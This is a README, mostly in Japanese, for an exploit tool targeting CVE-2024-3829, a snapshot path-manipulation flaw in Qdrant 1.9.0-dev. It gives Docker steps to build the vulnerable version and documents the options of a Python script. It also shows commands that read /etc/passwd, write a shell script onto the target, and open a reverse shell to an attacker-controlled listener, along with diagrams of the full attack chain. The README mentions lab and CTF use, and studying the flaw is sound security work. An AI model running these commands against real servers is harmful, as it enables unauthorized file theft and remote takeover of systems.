
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
このリポジトリは、qdrant/qdrant (v1.9.0-dev) における CVE-2024-3829 を文書化し、実証するためのものです。
この脆弱性により、シンボリックリンク/パス操作を介してスナップショットアーカイブを操作できます。これにより、2 つの影響クラスとリバースシェルが可能になります(笑):
環境によっては、ファイル書き込みプリミティブがコード実行に昇格する可能性があります。
1.9.0-devこのバージョンは、ワールドワイドウェブ(「インターネット」と呼ぶ人もいます)ではもう入手できません。
qdrant のリポジトリにおいて、NVD Nist レポートは、脆弱性のある v1.9.0-dev であるコミットを指し示しています。
CTF などで Docker にこのバージョンをインストールする場合は、次を使用してください:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - 読み取り/書き込み/トリガーワークフロー用のエクスプロイトrequirements.txt - Python の依存関係requestsインストール:
python3 -m pip install -r requirements.txt
すべてのオプションを表示:
python3 cve_2024_3829.py -h
例:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: CLI ヘルプを表示する-m, --mode: read、write、reverse_shell のいずれか (必須)-tu, --target_url: Qdrant のベース URL (スクリプト内にデフォルト値あり)-tp, --target_port: ターゲットの Qdrant ポート (デフォルト: 6333)-tpath, --target_path: リモートターゲットのパス (デフォルト: /etc/)--target_port を別途渡す場合、--target_url は末尾のポートを含まないベース URL にしてください。スクリプトは <url>:<target_port>/... のように URL を構築するためです。read モードでは、スクリプトは --target_path と --target_file_name を組み合わせます (例: /etc/ + passwd)。write モードでは、--attacker_path は既存のローカルファイルを指す必要があり、--attacker_file_name はリモートのファイル名を定義します。sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: リモートターゲットのファイル名 (デフォルト: passwd)-ai, --attacker_ip: リバースシェルモード用のコールバック/リスナー IP-ap, --attacker_port: コールバック/リスナーポート (デフォルト: 9001)-apath, --attacker_path: 書き込みモード用の攻撃者ローカルファイルパス (デフォルト: /tmp/)-af, --attacker_file_name: 書き込みモードでターゲット上で使用されるファイル名 (デフォルト: shell.sh)